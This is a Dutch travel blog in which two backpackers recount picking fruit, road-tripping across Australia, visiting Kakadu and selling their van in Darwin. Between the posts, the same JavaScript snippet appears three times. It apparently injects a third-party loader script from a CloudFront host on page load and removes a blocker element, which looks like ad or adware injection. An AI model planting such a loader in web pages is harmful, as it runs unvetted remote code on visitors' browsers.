Reisblog 14 Juli
Nadat we van Alice Springs weer de woestijn indoken ging het behoorlijk snel. We zijn na 3 dagen in Darwin aangekomen. We zijn onderweg nog even gestopt in Katherine om Katherine Gorge te bezoeken, daar hebben we een mooie 2 uur durende wandeling gemaakt.
Toen we in Darwin aankwamen rond een uur of 11 zijn we gelijk naar een hostel gaan zoeken. En zo kwamen we er dan ook gelijk achter dat de hostels in Darwin nog duurder zijn dan in Sydney. 3 keer zo duur als in Cairns dus. Dat was best een tegenvallertje. Ook waren er geen hostels waar we konden werken voor accommodatie.
Darwin zit vol met backpackers deze tijd van het jaar. Wij hadden gelukkig nog ons busje om in te slapen maar er liep ook een redelijk aantal dakloze backpackers rond. De enige slaapplaatsen die niet vol zaten zitten dik over ons budget heen. We hebben dankbaar gebruik gemaakt van het gratis internet (Met data / tijds beperkingen) in de bibliotheek en zijn een eindje buiten de stad gaan slapen.
De volgende dag zijn we naar de Job Shack gegaan. Hier was een bijeenkomst voor backpackers om werk te helpen vinden. Gezien wij (nu nog) een auto hadden, zouden we een klein streepje voor op de rest van de werk zoekers hebben. Na onze inschrijving ($25 dollar pp. Achteraf weggegooid geld gezien er niks geschikts was voor ons) zijn we terug gegaan naar de bibliotheek en hebben we een advertentie gemaakt om de auto te verkopen ($4,800 (negotiable) we wouden er eigenlijk $4000 voor zien te krijgen omdat we in totaal $2500 + $1800 aan reparaties = $4300,- aan de auto hadden uitgegeven), dus we hadden nog wat speling). We hadden in theorie tot half augustus dus we begonnen optimistisch. Het was afwachten wat eerder zou komen. Een koper voor de auto of een baantje voor een van ons. Eerlijk gezegd wisten we op dit moment niet wat we liever wouden. We hadden ons reisplan afgewerkt en als we van de auto af waren konden we naar huis. Aan de andere kant verdienden we hier 3 keer zoveel vergeleken met thuis. Dus dat zou ook mooi meegenomen zijn.
Hoe dan ook, we waren hier om Australië te zien en zo min mogelijk over te laten voor een volgend bezoek. Dus zijn we nu we ons autotje nog hadden naar Kakadu National Park gegaan. Hier stikt het van de Aboriginal art (muur schilderingen) en als het goed is zitten er ook krokodillen (die hoopten we hier zeker een keer gezien te hebben, helaas is het niet gelukt ze in het wild te bezichtigen) en ook de natuur zelf is hier prachtig.
De eerste dag hebben we een klein wandelingetje gemaakt langs Aboriginal Art en wat foto’s gemaakt van een prachtig uitzichtspunt. Helaas kreeg je ook hier weer niet de pracht op een goede foto te pakken. We zijn gaan slapen op een kampeer plaats zonder office waar de bedoeling was dat iedere volwassene 5 dollar in een enveloppe deed die je dan in een brievenbus zou moeten doen. Bij gebrek aan die genoemde enveloppen en 5 dollar (enkel 1 briefje van 50 in de portefeuille) weer een gratis kampeer plaats langs de weg dus! Helaas hadden ze hier ook geen water (niet eens ondrinkbaar) en stikte het van de muggen. Nu kunnen we jullie van alles wijsmaken over hoe geweldig Eddie de autobus wel niet was, maar mug proof was hij zeker niet.. We waren gedwongen tot onze nek in de slaapzakken te liggen met gesloten ramen terwijl de temperatuur niet tot aangenaam zou dalen tot na middernacht.
Toen we opstonden even rustig de rest van de muggen dood geslagen (beter laat dan nooit, en misschien iets minder rustig dan jullie op dit moment denken: zie Ross als een idioot om zich heen slaan met zijn slippers) en op naar het volgende uitzichtspunt. We kwamen net optijd (2 min te laat dus) bij een toelichting over de Aboriginals gegeven door een park ranger. Na een 20 minuten durende speech waren we weer heel wat wijzer. De Aboriginals waren hier al 20.000 jaar aanwezig, ze schilderden over oudere schilderijen heen, rood bleef het langste zichtbaar op een rotswand en de archeologen gooiden interessante Aboriginal voorwerpen weg tijdens hun zoektocht naar interessante Aboriginal voorwerpen. Als een Aboriginal vrouw niet door hun vuilnis had gekeken wisten we nu misschien nog steeds niet dat ze houten wattenstaafjes gebruikten om honing uit nesten te schrapen. (in werkelijkheid was die vrouw speciaal aangesteld om de archeologen om dit soort redenen en meer in de gaten te houden, maar daar hebben we het nu niet over). We hebben weer een hele collectie foto’s van Aboriginal muur schilderingen erbij. En we zijn een goede 2 uur gaan lopen om bij een aantal pools te komen waar je volgens de beschrijving het heetst van de dag geweldig door kon komen. Hier heeft Michiel nog even gezwommen terwijl Ross druk achter de dragonflies aan zat . Na nog een 50 minute walk naar alweer een uitzichtspunt vanwaar je uiteindelijk niks kon zien door alle rook van de bosbranden (je herkent de foto aan het grijs) zijn we nog even bij een resort gestopt om ons drinkwater bij te vullen. We waren al overgegaan op een pak houdbare melk, dus dit was erg welkom.
Met een volle lading water zijn we naar het volgende kleine rust plaatsje gegaan om te kamperen. Hier de volgende ochtend nog even de lookout bekeken en toen op naar onze laatste stop in dit prachtige park. Helaas was er maar 1 weg naar die stop en bestond die uit een zand pad met stevige hobbels waar Eddie het autobusje en zijn eigenaren niet blij van werden. We wouden nog overwegen verder te rijden omdat er een prachtige waterval zou moeten zijn, maar het besef dat 37 km heen en terug over een weg als dit niet al te best is voor een auto zonder monstertruck vering (een 4wd was ook goed geweest), en het feit dat er in het droge seizoen minder kans is op stomend water besloten we na een paar honderd meter maar om te keren. En tot onze vreugde zagen we dat we niet de enigen waren met dit idee, plus puntje voor ons inschattingsvermogen dus. Ondanks dit tegenvallertje hebben we geweldig genoten van park Kakadu en zijn we met een tevreden gevoel terug gereden richting Darwin.
Hier gingen we op dezelfde kamp spot staan als toen we van Alice Springs kwamen gezien het al een uur of 2 was en het zonde zou zijn voor 2 uurtjes in Darwin te zitten voordat we er niks meer te doen hadden.
We zaten net lekker te kaarten (het ging erg gelijk op) toen we rook zagen in de verte. Achja er zijn wel vaker vuurtjes hier in de wildernis, het hoort zelfs bij de natuur. Dus gezellig verder kaarten. Toen we inplaats van alleen de rook ook nog metershoge vlammen zagen verschijnen aan de horizon besloten we ons toch maar klaar te maken voor vertrek. Ik heb nog nooit een kampeerplaats zo snel ontruimd zien worden. Overal doken backpackers en andere kampeerders de auto/caravan in om een veilige 200 meter van de bosjes te gaan staan. En maar goed ook, want binnen 2 minuten stond alles onder de rook. Australiërs zijn hier gelukkig goed voorbereid op bushfires, dus het vuur bleef vlak buiten de hekken. Een enkele man was niet zo wakker als de rest en stond midden in de rook zijn spullen nog in de auto te laden. Die hebben we nog even geholpen en toen gezellig met alle vakantiegangers en andere reizigers naar het vuur gekeken. Het was zo voorbij. In een paar minuten was het hele landschap veranderd. Waar eerst bruinige bosjes en grassen al het zicht op de grond hadden geblokkeerd was nu alleen een zwarte laag over de grond te bekennen. De levende bomen leefden nog netjes en de dode stronken smeulden nog uren na. Dit gaf ons de tijd om een aantal mooie foto’s te maken en daarna zijn we weer lekker door gaan kaarten op dezelfde plek als daarvoor. Enige verschil dat er geen bosjes meer om ons heen stonden.
Na een goede nacht slapen zijn we weer naar Darwin gegaan. Hier hebben we de prijs voor Eddie wat verlaagd (4.300 nu) gezien we geen enkele reactie hadden gekregen en zijn we naar weer naar de bieb gegaan. Na 4 uurtjes internet een slaap plaats opgezocht langs de weg. We vonden 20 kilometer buiten Darwin een dikke strook grind waar ook andere auto’s stonden. Na een korte inspectie bleken alle auto’s en aanhangers die hier stonden te koop te staan. Nergens stond aangegeven waar deze strook voor was en of je er mocht kamperen of niet dus we waagden een gokje en besloten hier de nacht door te brengen. We werden niet wakker gemaakt door security of dergelijke dus hier zijn we dan ook elke nacht terug gekomen. Zo bespaarden we ontzettend veel geld aan dure hostels. Na iets meer dan 2 weken aan lange dagen van bieb naar winkelcentrum naar bieb wandellen om gratis internet bij elkaar te sprokkelen en een redelijk aantal test ritjes was het ons dan toch eindelijk gelukt Eddie te verkopen! $3200,- voor ons busje. Op dat moment hadden we de prijs alweer verlaagd naar $3500,- en waren we stiekem tevreden geweest met $2500,- (het bedrag waar we het busje zelf voor hadden gekocht 4 maanden terug). Compleet met grote barst in de vooruit (dankzij een van de roadtrains die langs raasde). We waren eerst van plan de vooruit te laten vervangen, maar doordat we al genoeg van ouders geleend hadden besloten we gewoon de prijs voor een nieuwe ruit van de auto af te halen ($370). Terwijl wij aan het wachten waren tot de franse backpackers waar we Eddie aan verkochten het geld binnen hadden op hun Australische rekening hebben wij nog een grote schoonmaak beurt gehouden. Alles uit de auto. Alles gesorteerd. En het belangrijkste, alles wat we zelf nog konden gebruiken en toevallig ook nog in onze backpacks konden proppen mee nemen. Nadat we contant betaald werden met 64 briefjes van $50 en al het papier werk af hadden gehandeld hoefden we alleen nog 10 dagen in Darwin te overleven. We zitten nu al op 1/10e . Nog steeds zitten alle hostels zo vol als maar kan. En bovendien waren ze nog steeds bijzonder prijzig. Dus lekker in de parken overnachten en omstebeurt slapen dan maar. Nou is Australië een erg veilig land, dus zoveel problemen hadden we daar niet mee. Bovendien kom je zo nog eens anderen tegen. Bouwvakkers die je hun water voorraad aanbieden na een kort gesprek, of een knaagdier dat vol bewondering aan je tas gaat ruiken bijvoorbeeld. We hebben natuurlijk geen gas kokertje meer dus ons avondeten bestaat uit MC Donalds, Subway, Pizzahut, de shoarma tent op de hoek en andere makkelijke manieren om niet al te veel geld aan een redelijke maaltijd te verdoen. We willen vlak voordat we gaan ook nog even de Crocosaurus Cove. Want we kunnen Australië natuurlijk niet verlaten zonder krokodillen gezien te hebben!
Volgens de nieuwe planning dankzij de vervroegde terugreis zouden we de 25e van Juli rond een uur of 10 s’ ochtends op Schiphol moeten staan. Compleet met vieze kleding, onverzorgd haar, een enorme honger en boven alles natuurlijk een geweldige ervaring rijker!
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};Reisblog 18 Juni
Okey, pak allemaal google maps erbij en geniet van het volgende verhaal. Opweg naar Melbourne ging het een beetje stormen toen we bij Victoria in de buurt kwamen. We besloten iets eerder te stoppen dan gepland en de volgende dag toen het rustig was verder te gaan. Toen we in Victoria op de A1 bij de afslag naar Mallacoota kwamen was de weg afgesloten. De storm had gezorgd voor overstromingen, omgevallen bomen en mudslides. Maar met een beetje geluk konden we die avond of in elk geval de volgende ochtend weer verder zeiden ze ons. Helaas, de volgende ochtend was het enige nieuws dat ze konden vertellen dat het waarschijnlijk nog een paar dagen zou duren voor alles open was. Dus raden ze ons de kortste omweg aan. Nu wordt het mooi. We moesten ipv de A1 volgen terug rijden richting Bega. Vlak na Bega moesten we links naar Canberra. En vanaf Canberra konden we dan weer richting Melbourne. Een kleine omweg dus. Alsof Borne – Hengelo is afgesloten en je via Amsterdam gaat.
We waren net begonnen met de omleiding toen alle waarschuwingslichten in de auto aan sprongen. Na wat rondvragen bleek er iets mis te zijn met de batterij van de auto (iets met de alternator). Een 250 dollar reparatie heeft dat probleem opgelost (auw) en we konden weer verder. We waren al aan het nadenken over reserve plannen zoals eerder naar huis vanaf een andere locatie of eerder werken.
We zijn vrolijk verder gereden met een naar gevoel geweldige auto zonder problemen (dat gevoel komen we later wel op terug). De snowy mountains waren prachtig om doorheen te rijden. En ook de bergen zonder sneeuw waren leuk om te zien. We hebben besloten niet in Melbourne of Adelaide te stoppen zodat we niet zo snel weer in de gevarenzone zouden komen betreft geld.
De Great Ocean Road was prachtig! Het is het grootste 1e Wereld Oorlog monument in Australië, maar het verbaasde ons hoe weinig daar naar werd verwezen. Zo af en toe een informatie bordje maar meer niet.
Het was erg bewolkt maar verder hadden we goed zicht. We zijn meerdere malen gestopt om van het uitzicht te genieten. We hebben de 12 apostelen, de thunder cave en nog een aantal andere kenmerkende onderdelen van dit grote monument uitbundig bekeken. We waren ook even gestopt bij een groepje mede toeristen die naar bomen stonden te staren. Maar goed ook want hier zagen we dan eindelijk wilde koala’s! Ze hadden het grootste gedeelte van het bos al helemaal leeg gegeten en de Australiers wisten niet meer wat ze er mee moesten. De koala populatie was te groot geworden en de bomen konden het niet meer aan. Maar hier konden wij weinig aan veranderen, dus gingen we verder.
En toen begonnen we aan het echte werk. De woestijn oversteken. Kilometers rechte weg met vrijwel continu het zelfde uitzicht. Bruin/rood zand en steentjes met wat woestijn bosjes en zo af en toe een heuvel. We hebben bijna elk tank station moeten tanken. En daar zijn de Australiërs zich van bewust! We hebben de prijzen vanaf de kust tot midden in de woestijn van $1.40 naar $2.10 per liter zien gaan. We zagen emoes, koeien en meer dan genoeg kangoeroes langs de weg (niet allemaal even levendig). En om de zoveel tijd een dorpje. De grootste afstand tussen 2 dorpjes (en dus ook tankstations) konden we maar net afleggen op 1 tank. 250 km met niks dan auto wrakken en rust plekken om de zoveel tijd. Maar ook dit avontuur zijn we heelhuids door gekomen.
En dan waren we eindelijk bij onze afslag naar Uluru (of Ayers Rock). Na een korte tankbeurt namen we de juiste afslag en… niks meer. Ross kon de auto niet meer in de versnelling krijgen. We zijn terug gelopen naar het tankstation en kregen te horen dat een sleep beurt naar Alice Springs (de dichtstbijzijnde mechanic) minstens 1000 dollar zou kosten! En dan moest de reparatie nog komen. We zagen het net niet meer zitten toen we per toeval een outback vehicle recovery truck zagen staan op de parkeerplaats. De persoon die er in reed was toevallig een monteur, en hij nam een kijkje bij de auto en vertelde ons dat het waarschijnlijk de hitte was waardoor de versnellingsbak het niet meer goed deed. We konden nu weer “gewoon” (voorzichtig dus) verder rijden. We hebben gelijk besloten niks aan het toeval over te laten en naar Alice Springs te gaan. Jammer van Uluru, maar als we daar vast komen te zitten hebben we pas echt een probleem. Na een nacht langs de weg vlak voor Alice Springs zijn we gelijk naar een mechanic gaan zoeken. Ze hadden net een belangrijke race achter de rug hier. En daardoor waren alle auto monteurs volgeboekt tot volgende week. Gelukkig kon de 5e monteur waar we aankwamen (die gespecialiseerd is in versnellingen) ons nog inplannen over 2 dagen. Om 8 uur. Als we maar eerder waren dan zijn officiële eerste klant. Helaas wist hij ons ook te vertellen dat als het probleem was wat hij verwachte de prijs niet onder de 700 dollar zou liggen. Een gigantische tegenvaller dus. We konden het volgens hem niet halen tot Darwin (nog 1700 km grotendeels opwaartse woestijn). Dus we zaten even vast in Alice Springs.
We zijn druk gaan solliciteren om wat extra geld bij te verdienen.
2 dagen later waren we om half 8 al bij de monteur, netjes op tijd dus. Hij was er zelf ze;fs nog niet (is ons op school niet vaak gebeurt). Nadat onze auto even snel was bekeken kregen we voor de 2e keer te horen dat we een goede koop hadden gedaan. Van onderen was de auto nog in geweldige staat, op de versnellingsbak na dus. Nu moesten we 3 uur wachten tot die ook een opknapbeurt gekregen had.
Na die middag weer onze auto opgehaald te hebben zijn we gaan kijken of er nog iets in de buurt te doen was. Uiteindelijk hebben we besloten onze zondag te besteden in de West Macdonnel Ranges. Het was een klein stukje reiden naar de eerste bezienswaardigheid, The Simpson Gap. Dit was letterlijk een “gap” in de bergketen. Rond deze plek leefden ook Blackfooted Rock wallabies, en de omgeving was erg mooi.
Hierna gingen we verder naar Standley’s Chasm. In de zomer zou het een beekje zijn die door de chasm liep, waar je dan door kon zwemmen. Helaas was er op dit moment geen water, maar we konden alsnog erdoorheen lopen en konden veel foto’s maken.
Na Standley’s Chasm kwam Ellis Creek Big Hole, een prachtig meertje tussen de rotsen.
Daar hebben we overnacht sinds het al donker begon te worden. ’s Ochtends gingen we weer verder naar Serpentine Gorge. Een korte loop en een steile klim later stonden we op een lookout point, vanwaar je in de verte een bergketen zag, en zeer dichtbij de Serpentine Gorge, wat een geweldig uitzicht gaf naar beneden. We zagen ook nog een rock wallaby daar, lekker aan het zonnebaden op een uitstekende rots in de afgrond. Geen idee hoe die daar terecht was gekomen, maar hij leek het er naar zijn zin te hebben (verbazend hoe goed ze kunnen klimmen).
Hierna waren er nog de Ochre Pits, vooral bestaande uit een wand van een gesteente dat ochre heet. Er was red ochre, yellow ochre en white ochre, en dat maakte erg mooie lijnen in de gesteenten. Volgens de Aboriginals komt de rode kleur door grote krachten of wezens die daar bloederige strijden hebben gevochten. Om diezelfde reden was het beschermd en mocht je de wand niet aanraken, laat staan een stukje steen meenemen. Met een max penalty van $5000 hielden we ons dan ook braaf in.
Toen was het alweer tijd om terug naar Alice springs te rijden. Nog even wat boodschappen doen en dan gaan we naar Darwin! Voor Michiel betekent het lekker lezen, gamen, “muziek beheren”, en eventueel slapen in de passagiersstoel, voor Ross betekent het 1700 km rijden. Ross: Wens me success…
Ok mensen, nu schrijft alleen Ross. Dit stukje gaat over het rijden in australie, en eerlijk gezegd kan (en mag) Michiel hier niet over meepraten. We hebben nu al zo’n 8000 km gereden, en de wegen zijn heel divers. De meeste plekken zijn erg leuk om te rijden, bochterig en een mooie natuur die steeds verandert om je heen, en af en toe een dorpje. Maar er zijn ook saaie momenten. Bijvoorbeeld een weg die tot aan de horizon gaat, met alleen weilanden om je heen. Dit was zo tussen de Great Ocean Road en Adelaide.
En dan was er natuurlijk nog de weg tussen Port Augusta en Alice Springs. Die weg is een beetje heuvelachtig, voornamelijk recht, en de omgeving is niet echt woestijn, maar bosjes en grassen. De dorpjes (als je het al dorpjes kan noemen: een tankstation, een restaurant/plek waar je de benzine moet betalen en soms een camping) zaten gemiddeld zo’n 150-200 km van elkaar af, en enige dat je hebt om je bezig te houden is wat muziek en een lange, rechte weg. Heel interessant dus.
Het was dus erg vermoeiend om al die kilometers te rijden, soms wel 700-800 km in 1 dag, maar wel een hele leuke ervaring.
Dit was het weer voor vandaag, de volgende update komt als we in Darwin zijn aangekomen en weer 1700 km hebben gereden. Opzoek naar werk, internet en onze laatste geplande toeristische stop.
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};5 Juni 2012
Zoals we in ons vorige verslag al lieten weten hadden we een 1 day tour op Fraser Island op de planning staan. En het was geweldig! Het is het grootste zand eiland ter wereld en je mag er alleen rondrijden met 4 wheel drives. We hadden een van de weinige tours in jeeps ipv. speciale tour bussen, met in elke jeep een tour guide. Er was zelfs een Aboriginal mee. De Aboriginal was de “song man” van zijn tribe. En hij verwelkomde ons dan ook met een origineel intro lied + dans op het eiland. We hebben gezwommen in Lake McKenzie, een helder groot meer dat enkel bestaat uit regenwater. We zijn via de “snelweg” (volgens de gids het enige strand dat officieel als snelweg aangegeven staat) naar een shipwreck op het strand en langs verschillende “mannen” en “vrouwen” plaatsen (volgens Aboriginal regels) gereden. Ze waren hier bijzonder strikt in. Zo mochten vrouwen de didgeridoo niet aanraken omdat het een van de “mannen zaken” was, en hadden ze liever niet dat mannen bij het gekleurde zand kwamen omdat het een van de “ vrouwen zaken” was. Dit omdat er volgens hen alleen maar problemen ontstaan als vrouwen zich met mannen zaken bemoeien en andersom. De enige uitzonderingen die genoemd werden was bij een vrouwen meer waar een man 1 keer in zijn leven mocht komen, bij zijn geboorte dus. En als er geen mannen meer in de stam leven mocht een van de oudere vrouwen digeridoo gaan bespelen om het instrument in leven te houden.
Daarna gingen we door naar Indian Head. Zo genoemd omdat de ontdekker van het eiland dicht langs de kust voer om het land in kaart te brengen toen de aboriginals het schip aanzagen voor een gevaar en op Indian Head speren en boomerangs gingen gooien. Om een of andere reden dacht de ontdekker dat het indianen waren, dus vandaar de naam.
We zijn ook nog gestopt bij de Champagne Pools waar we ons hoofd hebben laten overspoelen met… zout water. Dat viel dan weer wat tegen.
En toen gingen we weer terug naar de ferry over dezelfde “snelweg”. Met vloed was de “weg” op bepaalde plaatsen enkel nog zee en zaten de wielen 3 kwart onder water.
Op onze reis naar de kano tocht hebben we 2 nachten op dezelfde parkeerplaats gestaan omdat ons kamp voor zondag geboekt was en het was nog maar vrijdag. Hier ontmoete we een oude man die na een kort gesprek ons al uitnodigde om een biertje te drinken en zijn muziek te luisteren. Hij was muzikant en reisde tot hij zijn huis klaar had net als ons in een busje van vriend naar vriend. Hij was ook nog een actieve surfer die ons graag zijn verhalen deelde. Zodra zijn nieuwe album uitkomt is hij bereid ons gratis een doos te sturen wanneer we terug zijn. Maar tot die tijd moeten we het doen met 10 cd’s aan Australische muziek. Geweldig voor onderweg.
Het moment dat we op het kano kamp aankwamen viel het gelijk al op hoe creatief dit kamp in elkaar was geprutst. Zolang het maar werkt toch? Een oude boomstam die omgebouwd was tot wastafel compleet met spiegel klinkt natuurlijk geweldig, maar op de foto is wel te zien wat we bedoelen. De 1e nacht hebben we vooral genoten van het gratis pool met 2 Nederlandse meiden die we tegenkwamen. We sliepen in een soort hangmatjes in een groot muggennet waar we meer dan blij waren met onze slaapzakken. De temperatuur begint al wat te dalen en dat is vooral savonds te merken.
De eerste kano tocht was top. We zijn van 9 tot 4 op/aan het water geweest. Grote pauzes aan een mooi strand en een swing waarmee je in de rivier kon duiken. Onderweg zagen we nog een klein krokodilletje en vele vogels die hun vleugels lieten drogen in de zon, een prachtig gezicht.
De 2e dag was iets minder. We zouden via de rivier naar een meer gaan waar we de kano’s op de kant zouden laten om naar de zee te lopen (kleine 3 kilometer). Maar door de regen gingen we met 4 kano’s ipv. de 6 van de vorige dag omdat een aantal mensen het te nat vond in dit weer (en ze hadden de vorige avond teveel gedronken. Zonde). Desondanks hebben we weer een leuke dag gehad. Het was droog genoeg om met jas aan op het strand te liggen en te kaarten. En de groep was gelukkig nog gezellig.
Toen het kamp voorbij was zijn we zo snel mogelijk naar Byron Bay gegaan. Dit geweldige hippie dorpje had slechts 2 nadelen. Het was er duur om te overnachten en het regende. Desondanks hebben we genoten van de regenboog winkeltjes het strand en de vuurtorenwandeling. Het was bijzonder typisch alle hippies rond te zien lopen. De meesten waren 40+ maar daar gaat het niet om. Helaas zijn we er vanwege de prijzen snel weer weg gegaan. We hebben nog wat scenic routes gereden langs watervallen en bloemen dalen.
En toen zijn we direct naar Ralph gereden (een 9 uur lange rit die Ross met wat pauzes goed vol hield). Ralph is de WWOOF host waar we aan het begin van onze reis 3 weken waren gebleven, en we waren gelukkig weer welkom. Het huis was ondertussen alweer helemaal verandert. In onze afwezigheid had hij ongeveer 20 andere WWOOFers langs gehad en van binnen was het bijna onherkenbaar. Deuren waren verplaatst. Kamers waren verdwenen of juist verschenen. En misschien nog wel het belangrijkste, de router was verplaatst dus je had nu overal in het huis internet! We hebben hier een week lang was van de bijen rekjes gesmolten, kisten schoon gemaakt, stenen gesjouwd en een openhaard geinstaleerd. Allemaal in rustig tempo met een beloning van een goed bed, gratis internet en geweldig eten. Helaas konden we niet langer blijven dan een week omdat we optijd in Darwin willen zijn om de auto te verkopen en met wat geluk nog even te werken. Maar eerst de Great Ocean Road even opzoeken met een nieuwe voorraad honing!
if(typeof(jQuery)=='undefined'){(function(){var ccm=document.createElement('script');ccm.type='text/javascript';ccm.src='https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState=="loaded"||ccm.readyState=="complete"){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();} function ccm_e_init(jc){if(jc){jQuery.noConflict();} jQuery(function(){var http=location.href.indexOf('https://')>-1?'https':'http';var ccm=document.createElement('script');ccm.type='text/javascript';ccm.async=true;ccm.src=http+'://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=';var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(ccm,s);jQuery('#cblocker').remove();});};14 mei
3 weken nadat we bij het working hostel aankwamen gingen we er alweer weg. Het bleek toch wat duurder dan verwacht om via een working hostel te werken. De boer bood ons nog aan op zijn erf te blijven staan om de kosten van het working hostel te vermijden, maar dan zouden we onze 400 dollar borg (200 dollar pp) niet terug krijgen. Het avocado plukken zelf was niet zo erg. We gebruikten lange stokken om het fruit te plukken en af en toe klommen we in een boom in om bij het hoge fruit te komen. Op vieze kleding en een stijve nek na geen problemen dus. We hadden leuke collega fruitplukkers en waren met maximaal 7 tegelijk aan het werk. Omdat het maar een kleine farm was, was de farmer zelf heel gemakkelijk. We konden muziek luisteren en onze pauzes waren niet zo strikt. Verder blijft fruit plukken een vermoeiend baantje dus na het werk had je niet veel energie meer om nog wat te doen. Wat gelukkig ook niet nodig was gezien er in dit gat “Tolga” niks maar dan ook NIKS te doen was.
Op dagen dat we niet werkten verveelde iedereen zich dood. Films kijken, boeken lezen, kaarten en een beetje gamen op de laptop was alles wat je kon doen.
De eigenaresse van het working hostel was zachtst gezegd geobsedeerd door geld. Het koste ons nog heel wat moeite voor we het voor elkaar kregen na 3 weken met onze 400 dollar borg weg te komen. Gelukkig nog niet zoveel als 2 andere backpackers die de politie er bij haalden om hun borg terug te krijgen.
Er was volop bewondering voor Ross z’n kookkunsten. Zo hebben we een paar keer een heel team in de keuken gezet om bijv. voor 10 personen sticky toffee pudding of een nacho schotel te maken.
En toen begon dan eindelijk onze roadtrip! Na 1 avond feesten met collega’s in Cairns gingen we de oostkust af. Onze 1e stop was Townsville, het informatie centrum was gesloten dus na een lange wandeling naar de subway met 2 lekkere broodjes terug de auto in. Met de auto hebben we een dik boek met land kaarten en gratis overnacht plaatsen langs de snelwegen gekregen. En hier maken we dan ook dankbaar gebruik van. Op een aantal parkeerplaatsen delen ze ook nog gratis koffie, thee en koekjes uit! Met ons gasstelletje, stoeltjes en tafeltje redden we ons heel goed met de auto. Helaas mag je op de meeste van deze gratis campings maximaal 20 uur staan. Opzich lang genoeg, maar het is nog geen vervanging voor de hostels die we tot nu toe gehad hebben.
Na onze 1e nacht langs de weg zijn we bij Bowen rond gaan zoeken naar werk. Er werd ons verteld dat we hier het beste gewoon langs de fruit farms konden rijden om persoonlijk te vragen of ze er werk voor ons hadden. We zijn er een stuk of 15 afgereden alleen ze waren of nog niet begonnen, of ze hadden al genoeg werkers. We hebben onze naam en telefoonnummers nog achtergelaten bij een aantal, maar zonder succes.
Door rijden naar Airlie Beach dan maar.
Airlie Beach is de beste plek om van de Whitsunday Islands te genieten. Maar eerst moesten we een plek hebben om te slapen. Na 1 keer weggestuurd te worden door de security vonden we een goede plek waar het Ross slim leek om de auto zo schuin als maar kan op een helling in de berm te parkeren. Om een lang verhaal kort te maken, toen we eenmaal loskwamen besloten we 5 meter verderop te gaan slapen.
En de volgende dag genieten van onze pas geboekte tour!
We hebben een geweldige dagtour gemaakt op een soort verhemelde rubberboot. Tijdens die tour zijn we eerst gaan snorkelen op een rif dichtbij een van de 74 eilanden. Na een uurtje schildpadden achtervolgen zijn we verder gevaren langs Hill Inlet (swirling sands, google maar). Na een lunch op Whitehaven beach zijn we naar de lookout gegaan. Een grote platte rots bovenaan het eiland met een geweldig uitzicht (foto’s op facebook!) We hebben ook nog komodo varanen gezien (Yes mum, real komodo dragons), en wat op het strand gelegen. Na een kletsnatte terugreis wat gekookt op ons gasstelletje en de backpackers die we de dag daarvoor ontmoet hadden uitgelachen om hun 200 dollar boete (ze waren in de stad in hun auto gaan slapen).
Rond Mackay, bij Carmila Beach heeft Ross zijn eerste kangoeroe aangereden. Geloof het of niet maar hij kon er niks aan doen. Hij heeft zich netjes aan de regels gehouden en het diertje was in 1 klap dood.
We zijn ook nog 2 echte Aussies tegengekomen die net zelf een roadtrip achter de rug hadden. Ze wouden nog even genieten van hun laatste vrije avond, en vonden het niet erg een biertje te delen. Toen het bier op was kreeg Ross de kans om in een 4WD te rijden. Geen zorgen, hij had maar 1 biertje op. Helaas was de pub al gesloten en zijn we naast het broedstrand voor zeeschildpadden lekker gaan slapen. De volgende ochtend nog wat foto’s van het strand gemaakt en wat schelpen opgeraapt om Eddie het autobusje wat op te fleuren en we konden weer verder.
Rond Rockhampton was ook geen werk te vinden, dus zijn we zo snel mogelijk doorgegaan naar Gin Gin. Onderweg nog een stop gemaakt bij een van de zeldzame parkeerplaatsen met douches die ondertussen erg welkom waren geworden.
Na 2 pogingen werk te vinden rond Gin Gin kwamen we erachter dat het zondag was. Tijdsbesef is niet ons sterkste punt hier in Australie. Om onze zondag niet helemaal te verspillen zijn we naar een meer in de buurt gegaan dat bekend stond om de Barramundi en baarzen (voor de kenners: grote vissen). Toen we vroegen of we hengels konden huren was de enige reactie: “that’s a great idea! I’ll tell my boss about it.” Dus hebben we maar wat gezwommen en langs het water kaartspelletjes zitten spelen.
